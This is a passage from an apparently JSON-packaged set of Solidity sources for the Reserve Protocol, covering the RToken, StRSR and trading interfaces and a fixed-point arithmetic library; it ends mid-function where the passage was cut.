"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"../libraries/Throttle.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title IRToken\n * @notice An RToken is an ERC20 that is permissionlessly issuable/redeemable and tracks an\n * exchange rate against a single unit: baskets, or {BU} in our type notation.\n */\ninterface IRToken is IComponent, IERC20MetadataUpgradeable, IERC20PermitUpgradeable {\n /// Emitted when an issuance of RToken occurs, whether it occurs via slow minting or not\n /// @param issuer The address holding collateral tokens\n /// @param recipient The address of the recipient of the RTokens\n /// @param amount The quantity of RToken being issued\n /// @param baskets The corresponding number of baskets\n event Issuance(\n address indexed issuer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when a redemption of RToken occurs\n /// @param redeemer The address holding RToken\n /// @param recipient The address of the account receiving the backing collateral tokens\n /// @param amount The quantity of RToken being redeemed\n /// @param baskets The corresponding number of baskets\n /// @param amount {qRTok} The amount of RTokens canceled\n event Redemption(\n address indexed redeemer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when the number of baskets needed changes\n /// @param oldBasketsNeeded Previous number of baskets units needed\n /// @param newBasketsNeeded New number of basket units needed\n event BasketsNeededChanged(uint192 oldBasketsNeeded, uint192 newBasketsNeeded);\n\n /// Emitted when RToken is melted, i.e the RToken supply is decreased but basketsNeeded is not\n /// @param amount {qRTok}\n event Melted(uint256 amount);\n\n /// Emitted when issuance SupplyThrottle params are set\n event IssuanceThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n /// Emitted when redemption SupplyThrottle params are set\n event RedemptionThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n string memory mandate_,\n ThrottleLib.Params calldata issuanceThrottleParams,\n ThrottleLib.Params calldata redemptionThrottleParams\n ) external;\n\n /// Issue an RToken with basket collateral\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issue(uint256 amount) external;\n\n /// Issue an RToken with basket collateral, to a particular recipient\n /// @param recipient The address to receive the issued RTokens\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issueTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for basket collateral\n /// @dev Use redeemCustom for non-current baskets\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeem(uint256 amount) external;\n\n /// Redeem RToken for basket collateral to a particular recipient\n /// @dev Use redeemCustom for non-current baskets\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeemTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for a linear combination of historical baskets, to a particular recipient\n /// @dev Allows partial redemptions up to the minAmounts\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param expectedERC20sOut An array of ERC20s expected out\n /// @param minAmounts {qTok} The minimum ERC20 quantities the caller should receive\n /// @custom:interaction\n function redeemCustom(\n address recipient,\n uint256 amount,\n uint48[] memory basketNonces,\n uint192[] memory portions,\n address[] memory expectedERC20sOut,\n uint256[] memory minAmounts\n ) external;\n\n /// Mint an amount of RToken equivalent to baskets BUs, scaling basketsNeeded up\n /// Callable only by BackingManager\n /// @param baskets {BU} The number of baskets to mint RToken for\n /// @custom:protected\n function mint(uint192 baskets) external;\n\n /// Melt a quantity of RToken from the caller's account\n /// @param amount {qRTok} The amount to be melted\n /// @custom:protected\n function melt(uint256 amount) external;\n\n /// Burn an amount of RToken from caller's account and scale basketsNeeded down\n /// Callable only by BackingManager\n /// @custom:protected\n function dissolve(uint256 amount) external;\n\n /// Set the number of baskets needed directly, callable only by the BackingManager\n /// @param basketsNeeded {BU} The number of baskets to target\n /// needed range: pretty interesting\n /// @custom:protected\n function setBasketsNeeded(uint192 basketsNeeded) external;\n\n /// @return {BU} How many baskets are being targeted\n function basketsNeeded() external view returns (uint192);\n\n /// @return {qRTok} The maximum issuance that can be performed in the current block\n function issuanceAvailable() external view returns (uint256);\n\n /// @return {qRTok} The maximum redemption that can be performed in the current block\n function redemptionAvailable() external view returns (uint256);\n}\n\ninterface TestIRToken is IRToken {\n function setIssuanceThrottleParams(ThrottleLib.Params calldata) external;\n\n function setRedemptionThrottleParams(ThrottleLib.Params calldata) external;\n\n function issuanceThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function redemptionThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n function monetizeDonations(IERC20) external;\n}\n"
},
"contracts/interfaces/IStRSR.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IStRSR\n * @notice An ERC20 token representing shares of the RSR over-collateralization pool.\n *\n * StRSR permits the BackingManager to take RSR in times of need. In return, the BackingManager\n * benefits the StRSR pool with RSR rewards purchased with a portion of its revenue.\n *\n * In the absence of collateral default or losses due to slippage, StRSR should have a\n * monotonically increasing exchange rate with respect to RSR, meaning that over time\n * StRSR is redeemable for more RSR. It is non-rebasing.\n */\ninterface IStRSR is IERC20MetadataUpgradeable, IERC20PermitUpgradeable, IComponent {\n /// Emitted when RSR is staked\n /// @param era The era at time of staking\n /// @param staker The address of the staker\n /// @param rsrAmount {qRSR} How much RSR was staked\n /// @param stRSRAmount {qStRSR} How much stRSR was minted by this staking\n event Staked(\n uint256 indexed era,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount\n );\n\n /// Emitted when an unstaking is started\n /// @param draftId The id of the draft.\n /// @param draftEra The era of the draft.\n /// @param staker The address of the unstaker\n /// The triple (staker, draftEra, draftId) is a unique ID\n /// @param rsrAmount {qRSR} How much RSR this unstaking will be worth, absent seizures\n /// @param stRSRAmount {qStRSR} How much stRSR was burned by this unstaking\n event UnstakingStarted(\n uint256 indexed draftId,\n uint256 indexed draftEra,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount,\n uint256 availableAt\n );\n\n /// Emitted when RSR is unstaked\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCompleted(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted when RSR unstaking is cancelled\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCancelled(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted whenever the exchange rate changes\n event ExchangeRateSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted whenever RSR are paids out\n event RewardsPaid(uint256 rsrAmt);\n\n /// Emitted if all the RSR in the staking pool is seized and all balances are reset to zero.\n event AllBalancesReset(uint256 indexed newEra);\n /// Emitted if all the RSR in the unstakin pool is seized, and all ongoing unstaking is voided.\n event AllUnstakingReset(uint256 indexed newEra);\n\n event UnstakingDelaySet(uint48 oldVal, uint48 newVal);\n event RewardRatioSet(uint192 oldVal, uint192 newVal);\n event WithdrawalLeakSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n uint48 unstakingDelay_,\n uint192 rewardRatio_,\n uint192 withdrawalLeak_\n ) external;\n\n /// Gather and payout rewards from rsrTrader\n /// @custom:interaction\n function payoutRewards() external;\n\n /// Stakes an RSR `amount` on the corresponding RToken to earn yield and over-collateralized\n /// the system\n /// @param amount {qRSR}\n /// @custom:interaction\n function stake(uint256 amount) external;\n\n /// Begins a delayed unstaking for `amount` stRSR\n /// @param amount {qStRSR}\n /// @custom:interaction\n function unstake(uint256 amount) external;\n\n /// Complete delayed unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function withdraw(address account, uint256 endId) external;\n\n /// Cancel unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function cancelUnstake(uint256 endId) external;\n\n /// Seize RSR, only callable by main.backingManager()\n /// @custom:protected\n function seizeRSR(uint256 amount) external;\n\n /// Reset all stakes and advance era\n /// @custom:governance\n function resetStakes() external;\n\n /// Return the maximum valid value of endId such that withdraw(endId) should immediately work\n function endIdForWithdraw(address account) external view returns (uint256 endId);\n\n /// @return {qRSR/qStRSR} The exchange rate between RSR and StRSR\n function exchangeRate() external view returns (uint192);\n}\n\ninterface TestIStRSR is IStRSR {\n function rewardRatio() external view returns (uint192);\n\n function setRewardRatio(uint192) external;\n\n function unstakingDelay() external view returns (uint48);\n\n function setUnstakingDelay(uint48) external;\n\n function withdrawalLeak() external view returns (uint192);\n\n function setWithdrawalLeak(uint192) external;\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n /// @return {qStRSR/qRSR} The exchange rate between StRSR and RSR\n function exchangeRate() external view returns (uint192);\n}\n"
},
"contracts/interfaces/ITrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IBroker.sol\";\nimport \"./IVersioned.sol\";\n\nenum TradeStatus {\n NOT_STARTED, // before init()\n OPEN, // after init() and before settle()\n CLOSED, // after settle()\n // === Intermediate-tx state ===\n PENDING // during init() or settle() (reentrancy protection)\n}\n\n/**\n * Simple generalized trading interface for all Trade contracts to obey\n *\n * Usage: if (canSettle()) settle()\n */\ninterface ITrade is IVersioned {\n /// Complete the trade and transfer tokens back to the origin trader\n /// @return soldAmt {qSellTok} The quantity of tokens sold\n /// @return boughtAmt {qBuyTok} The quantity of tokens bought\n function settle() external returns (uint256 soldAmt, uint256 boughtAmt);\n\n function sell() external view returns (IERC20Metadata);\n\n function buy() external view returns (IERC20Metadata);\n\n /// @return {tok} The sell amount of the trade, in whole tokens\n function sellAmount() external view returns (uint192);\n\n /// @return The timestamp at which the trade is projected to become settle-able\n function endTime() external view returns (uint48);\n\n /// @return True if the trade can be settled\n /// @dev Should be guaranteed to be true eventually as an invariant\n function canSettle() external view returns (bool);\n\n /// @return TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n // solhint-disable-next-line func-name-mixedcase\n function KIND() external view returns (TradeKind);\n}\n"
},
"contracts/interfaces/ITrading.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrade.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title ITrading\n * @notice Common events and refresher function for all Trading contracts\n */\ninterface ITrading is IComponent, IRewardableComponent {\n event MaxTradeSlippageSet(uint192 oldVal, uint192 newVal);\n event MinTradeVolumeSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted when a trade is started\n /// @param trade The one-time-use trade contract that was just deployed\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the selling token\n /// @param minBuyAmount {qBuyTok} The minimum quantity of the buying token to accept\n event TradeStarted(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 minBuyAmount\n );\n\n /// Emitted after a trade ends\n /// @param trade The one-time-use trade contract\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the token sold\n /// @param buyAmount {qBuyTok} The quantity of the token bought\n event TradeSettled(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 buyAmount\n );\n\n /// Settle a single trade, expected to be used with multicall for efficient mass settlement\n /// @param sell The sell token in the trade\n /// @return The trade settled\n /// @custom:refresher\n function settleTrade(IERC20 sell) external returns (ITrade);\n\n /// @return {%} The maximum trade slippage acceptable\n function maxTradeSlippage() external view returns (uint192);\n\n /// @return {UoA} The minimum trade volume in UoA, applies to all assets\n function minTradeVolume() external view returns (uint192);\n\n /// @return The ongoing trade for a sell token, or the zero address\n function trades(IERC20 sell) external view returns (ITrade);\n\n /// @return The number of ongoing trades open\n function tradesOpen() external view returns (uint48);\n\n /// @return The number of total trades ever opened\n function tradesNonce() external view returns (uint256);\n}\n\ninterface TestITrading is ITrading {\n /// @custom:governance\n function setMaxTradeSlippage(uint192 val) external;\n\n /// @custom:governance\n function setMinTradeVolume(uint192 val) external;\n}\n"
},
"contracts/interfaces/IVersioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\ninterface IVersioned {\n function version() external view returns (string memory);\n}\n"
},
"contracts/libraries/Fixed.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\n// solhint-disable func-name-mixedcase func-visibility\n// slither-disable-start divide-before-multiply\npragma solidity ^0.8.19;\n\n/// @title FixedPoint, a fixed-point arithmetic library defining the custom type uint192\n/// @author Matt Elder <matt.elder@reserve.org> and the Reserve Team <https://reserve.org>\n\n/** The logical type `uint192 ` is a 192 bit value, representing an 18-decimal Fixed-point\n fractional value. This is what's described in the Solidity documentation as\n \"fixed192x18\" -- a value represented by 192 bits, that makes 18 digits available to\n the right of the decimal point.\n\n The range of values that uint192 can represent is about [-1.7e20, 1.7e20].\n Unless a function explicitly says otherwise, it will fail on overflow.\n To be clear, the following should hold:\n toFix(0) == 0\n toFix(1) == 1e18\n*/\n\n// Analysis notes:\n// Every function should revert iff its result is out of bounds.\n// Unless otherwise noted, when a rounding mode is given, that mode is applied to\n// a single division that may happen as the last step in the computation.\n// Unless otherwise noted, when a rounding mode is *not* given but is needed, it's FLOOR.\n// For each, we comment:\n// - @return is the value expressed in \"value space\", where uint192(1e18) \"is\" 1.0\n// - as-ints: is the value expressed in \"implementation space\", where uint192(1e18) \"is\" 1e18\n// The \"@return\" expression is suitable for actually using the library\n// The \"as-ints\" expression is suitable for testing\n\n// A uint value passed to this library was out of bounds for uint192 operations\nerror UIntOutOfBounds();\nbytes32 constant UIntOutofBoundsHash = keccak256(abi.encodeWithSignature(\"UIntOutOfBounds()\"));\n\n// Used by P1 implementation for easier casting\nuint256 constant FIX_ONE_256 = 1e18;\nuint8 constant FIX_DECIMALS = 18;\n\n// If a particular uint192 is represented by the uint192 n, then the uint192 represents the\n// value n/FIX_SCALE.\nuint64 constant FIX_SCALE = 1e18;\n\n// FIX_SCALE Squared:\nuint128 constant FIX_SCALE_SQ = 1e36;\n\n// The largest integer that can be converted to uint192 .\n// This is a bit bigger than 3.1e39\nuint192 constant FIX_MAX_INT = type(uint192).max / FIX_SCALE;\n\nuint192 constant FIX_ZERO = 0; // The uint192 representation of zero.\nuint192 constant FIX_ONE = FIX_SCALE; // The uint192 representation of one.\nuint192 constant FIX_MAX = type(uint192).max; // The largest uint192. (Not an integer!)\nuint192 constant FIX_MIN = 0; // The smallest uint192.\n\n/// An enum that describes a rounding approach for converting to ints\nenum RoundingMode {\n FLOOR, // Round towards zero\n ROUND, // Round to the nearest int\n CEIL // Round away from zero\n}\n\nRoundingMode constant FLOOR = RoundingMode.FLOOR;\nRoundingMode constant ROUND = RoundingMode.ROUND;\nRoundingMode constant CEIL = RoundingMode.CEIL;\n\n/* @dev Solidity 0.8.x only allows you to change one of type or size per type conversion.\n Thus, all the tedious-looking double conversions like uint256(uint256 (foo))\n See: https://docs.soliditylang.org/en/v0.8.17/080-breaking-changes.html#new-restrictions\n */\n\n/// Explicitly convert a uint256 to a uint192. Revert if the input is out of bounds.\nfunction _safeWrap(uint256 x) pure returns (uint192) {\n if (FIX_MAX < x) revert UIntOutOfBounds();\n return uint192(x);\n}\n\n/// Convert a uint to its Fix representation.\n/// @return x\n// as-ints: x * 1e18\nfunction toFix(uint256 x) pure returns (uint192) {\n return _safeWrap(x * FIX_SCALE);\n}\n\n/// Convert a uint to its fixed-point representation, and left-shift its value `shiftLeft`\n/// decimal digits.\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(uint256 x, int8 shiftLeft) pure returns (uint192) {\n return shiftl_toFix(x, shiftLeft, FLOOR);\n}\n\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(\n uint256 x,\n int8 shiftLeft,\n RoundingMode rounding\n) pure returns (uint192) {\n // conditions for avoiding overflow\n if (x == 0) return 0;\n if (shiftLeft <= -96) return (rounding == CEIL ? 1 : 0); // 0 < uint.max / 10**77 < 0.5\n if (40 <= shiftLeft) revert UIntOutOfBounds(); // 10**56 < FIX_MAX < 10**57\n\n shiftLeft += 18;\n\n uint256 coeff = 10**abs(shiftLeft);\n uint256 shifted = (shiftLeft >= 0) ? x * coeff : _divrnd(x, coeff, rounding);\n\n return _safeWrap(shifted);\n}\n\n/// Divide a uint by a uint192, yielding a uint192\n/// This may also fail if the result is MIN_uint192! not fixing this for optimization's sake.\n/// @return x / y\n// as-ints: x * 1e36 / y\nfunction divFix(uint256 x, uint192 y) pure returns (uint192) {\n // If we didn't have to worry about overflow, we'd just do `return x * 1e36 / _y`\n // If it's safe to do this operation the easy way, do it:\n if (x < uint256(type(uint256).max / FIX_SCALE_SQ)) {\n return _safeWrap(uint256(x * FIX_SCALE_SQ) / y);\n } else {\n return _safeWrap(mulDiv256(x, FIX_SCALE_SQ, y));\n }\n}\n\n/// Divide a uint by a uint, yielding a uint192\n/// @return x / y\n// as-ints: x * 1e18 / y\nfunction divuu(uint256 x, uint256 y) pure returns (uint192) {\n return _safeWrap(mulDiv256(FIX_SCALE, x, y));\n}\n\n/// @return min(x,y)\n// as-ints: min(x,y)\nfunction fixMin(uint192 x, uint192 y) pure returns (uint192) {\n return x < y ? x : y;\n}\n\n/// @return max(x,y)\n// as-ints: max(x,y)\nfunction fixMax(uint192 x, uint192 y) pure returns (uint192) {\n return x > y ? x : y;\n}\n\n/// @return absoluteValue(x,y)\n// as-ints: absoluteValue(x,y)\nfunction abs(int256 x) pure returns (uint256) {\n return x < 0 ? uint256(-x) : uint256(x);\n}\n\n/// Divide two uints, returning a uint, using rounding mode `rounding`.\n/// @return numerator / divisor\n// as-ints: numerator / divisor\nfunction _divrnd(\n uint256 numerator,\n uint256 divisor,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = numerator / divisor;\n\n if (rounding == FLOOR) return result;\n\n if (rounding == ROUND) {\n if (numerator % divisor > (divisor - 1) / 2) {\n result++;\n }\n } else {\n if (numerator % divisor > 0) {\n result++;\n }\n }\n\n return result;\n}\n\nlibrary FixLib {\n /// Again, all arithmetic functions fail if and only if the result is out of bounds.\n\n /// Convert this fixed-point value to a uint. Round towards zero if needed.\n /// @return x\n // as-ints: x / 1e18\n function toUint(uint192 x) internal pure returns (uint136) {\n return toUint(x, FLOOR);\n }\n\n /// Convert this uint192 to a uint\n /// @return x\n // as-ints: x / 1e18 with rounding\n function toUint(uint192 x, RoundingMode rounding) internal pure returns (uint136) {\n return uint136(_divrnd(uint256(x), FIX_SCALE, rounding));\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(uint192 x, int8 decimals) internal pure returns (uint192) {\n return shiftl(x, decimals, FLOOR);\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Handle overflow cases\n if (x == 0) return 0;\n if (decimals <= -59) return (rounding == CEIL ? 1 : 0); // 59, because 1e58 > 2**192\n if (58 <= decimals) revert UIntOutOfBounds(); // 58, because x * 1e58 > 2 ** 192 if x != 0\n\n uint256 coeff = uint256(10**abs(decimals));\n return _safeWrap(decimals >= 0 ? x * coeff : _divrnd(x, coeff, rounding));\n }\n\n /// Add a uint192 to this uint192\n /// @return x + y\n // as-ints: x + y\n function plus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x + y;\n }\n\n /// Add a uint to this uint192\n /// @return x + y\n // as-ints: x + y*1e18\n function plusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x + y * FIX_SCALE);\n }\n\n /// Subtract a uint192 from this uint192\n /// @return x - y\n // as-ints: x - y\n function minus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x - y;\n }\n\n /// Subtract a uint from this uint192\n /// @return x - y\n // as-ints: x - y*1e18\n function minusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(uint256(x) - uint256(y * FIX_SCALE));\n }\n\n /// Multiply this uint192 by a uint192\n /// Round truncated values to the nearest available value. 5e-19 rounds away from zero.\n /// @return x * y\n // as-ints: x * y/1e18 [division using ROUND, not FLOOR]\n function mul(uint192 x, uint192 y) internal pure returns (uint192) {\n return mul(x, y, ROUND);\n }\n\n /// Multiply this uint192 by a uint192\n /// @return x * y\n // as-ints: x * y/1e18\n function mul(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(uint256(x) * uint256(y), FIX_SCALE, rounding));\n }\n\n /// Multiply this uint192 by a uint\n /// @return x * y\n // as-ints: x * y\n function mulu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x * y);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(uint192 x, uint192 y) internal pure returns (uint192) {\n return div(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Multiply-in FIX_SCALE before dividing by y to preserve precision.\n return _safeWrap(_divrnd(uint256(x) * FIX_SCALE, y, rounding));\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(uint192 x, uint256 y) internal pure returns (uint192) {\n return divu(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(x, y, rounding));\n }\n\n uint64 constant FIX_HALF = uint64(FIX_SCALE) / 2;\n\n /// Raise this uint192 to a nonnegative integer power. Requires that x_ <= FIX_ONE\n /// Gas cost is O(lg(y)), precision is +- 1e-18.\n /// @return x_ ** y\n // as-ints: x_ ** y / 1e18**(y-1) <- technically correct for y = 0. :D\n function powu(uint192 x_, uint48 y) internal pure returns (uint192) {\n require(x_ <= FIX_ONE);\n if (y == 1) return x_;\n if (x_ == FIX_ONE || y == 0) return FIX_ONE;\n uint256 x = uint256(x_) * FIX_SCALE; // x is D36\n uint256 result = FIX_SCALE_SQ; // result is D36\n while (true) {\n if (y & 1 == 1) result = (result * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n if (y <= 1) break;\n y = (y >> 1);\n x = (x * x + FIX_SCALE_SQ / 2) / FIX_SCALE_SQ;\n }\n return _safeWrap(result / FIX_SCALE);\n }\n\n /// Comparison operators...\n function lt(uint192 x, uint192 y) internal pure returns (bool) {\n return x < y;\n }\n\n function lte(uint192 x, uint192 y) internal pure returns (bool) {\n return x <= y;\n }\n\n function gt(uint192 x, uint192 y) internal pure returns (bool) {\n return x > y;\n }\n\n function gte(uint192 x, uint192 y) internal pure returns (bool) {\n return x >= y;\n }\n\n function eq(uint192 x, uint192 y) internal pure returns (bool) {\n return x == y;\n }\n\n function neq(uint192 x, uint192 y) internal pure returns (bool) {\n return x != y;\n }\n\n /// Return whether or not this uint192 is less than epsilon away from y.\n /// @return |x - y| < epsilon\n // as-ints: |x - y| < epsilon\n function near(\n uint192 x,\n uint192 y,\n uint192 epsilon\n ) internal pure returns (bool) {\n uint192 diff = x <= y ? y - x : x - y;\n return diff < epsilon;\n }\n\n // ================ Chained Operations ================\n // The operation foo_bar() always means:\n // Do foo() followed by bar(), and overflow only if the _end_ result doesn't fit in an uint192\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(uint192 x, int8 decimals) internal pure returns (uint256) {\n return shiftl_toUint(x, decimals, FLOOR);\n }\n\n /// Shift this uint192 left by `decimals` digits, and convert to a uint.\n /// @return x * 10**decimals\n // as-ints: x * 10**(decimals - 18)\n function shiftl_toUint(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n // Handle overflow cases\n if (x == 0) return 0; // always computable, no matter what decimals is\n if (decimals <= -42) return (rounding == CEIL ? 1 : 0);\n if (96 <= decimals) revert UIntOutOfBounds();\n\n decimals -= 18; // shift so that toUint happens at the same time.\n\n uint256 coeff = uint256(10**abs(decimals));\n return decimals >= 0 ? uint256(x * coeff) : uint256(_divrnd(x, coeff, rounding));\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(uint192 x, uint256 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE);\n }\n\n /// Multiply this uint192 by a uint, and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e18\n function mulu_toUint(\n uint192 x,\n uint256 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), y, FIX_SCALE, rounding);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(uint192 x, uint192 y) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ);\n }\n\n /// Multiply this uint192 by a uint192 and output the result as a uint\n /// @return x * y\n // as-ints: x * y / 1e36\n function mul_toUint(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint256) {\n return mulDiv256(uint256(x), uint256(y), FIX_SCALE_SQ, rounding);\n }\n\n /// Compute x * y / z avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z\n ) internal pure returns (uint192) {\n return muluDivu(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function muluDivu(\n uint192 x,\n uint256 y,\n uint256 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z\n ) internal pure returns (uint192) {\n return mulDiv(x, y, z, FLOOR);\n }\n\n /// Compute x * y / z on Fixes, avoiding intermediate overflow\n /// @dev Only use if you need to avoid overflow; costlier than x * y / z\n /// @return x * y / z\n // as-ints: x * y / z\n function mulDiv(\n uint192 x,\n uint192 y,\n uint192 z,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(mulDiv256(x, y, z, rounding));\n }\n\n // === safe*() ===\n\n /// Multiply two fixes, rounding up to FIX_MAX and down to 0\n /// @param a First param to multiply\n /// @param b Second param to multiply\n function safeMul(\n uint192 a,\n uint192 b,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // untestable:\n // a will never = 0 here because of the check in _price()\n if (a == 0 || b == 0) return 0;\n // untestable:\n // a = FIX_MAX iff b = 0\n if (a == FIX_MAX || b == FIX_MAX) return FIX_MAX;\n\n // return FIX_MAX instead of throwing overflow errors.\n unchecked {\n // p and mul *are* Fix values, so have 18 decimals (D18)\n uint256 rawDelta = uint256(b) * a; // {D36} = {D18} * {D18}\n // if we overflowed, then return FIX_MAX\n if (rawDelta / b != a) return 